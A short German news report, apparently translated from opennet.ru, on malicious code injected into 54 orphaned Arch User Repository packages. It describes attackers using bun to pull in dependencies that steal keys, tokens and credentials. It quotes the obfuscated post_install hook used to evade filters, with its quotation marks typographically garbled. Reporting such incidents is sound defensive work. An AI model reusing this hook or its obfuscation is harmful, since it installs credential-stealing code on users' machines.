In AUR wurde schadhafter Code schon in 54 Pakete eingeschleust

Trotz der von den Entwicklern von Arch Linux ergriffenen Maßnahmen ist die Aktivität zur Einschleusung von schädlichem Code in die AUR (Arch User Repository) nicht gestoppt worden. Vor wenigen Stunden wurde schädlicher Code in weiteren 54 Paketen eingeschleust, die ohne Maintainer geblieben sind (Historie der Aufhebung schädlicher Änderungen). Im Gegensatz zu den Angriffen von vorgestern wurde diesmal anstelle des Paketmanagers npm die Plattform bun eingesetzt, um schädliche Abhängigkeiten zu installieren. Um die implementierten Filter zu umgehen, wird in die Funktion post_install eine obfuskierten Zeichenfolge eingefügt, in der der Befehl „bun add“ zum Installieren von Paketen mit schädlichem Code aufgerufen wird, der Scans durchführt und an externe Server Schlüssel, Tokens und Anmeldedaten.

post_install() {
$’\x63′»d» «/»‘t'»m»‘p’ && «b»‘u»n’ ‘a'»d»‘d’ $’\141\x6e»s'»i»»-«$’\143»o»l»o»r’$’\x73′ ‘n'»e»‘x'»t»»f»‘i»l»e»-»j»s’
}

Quelle: opennet.ru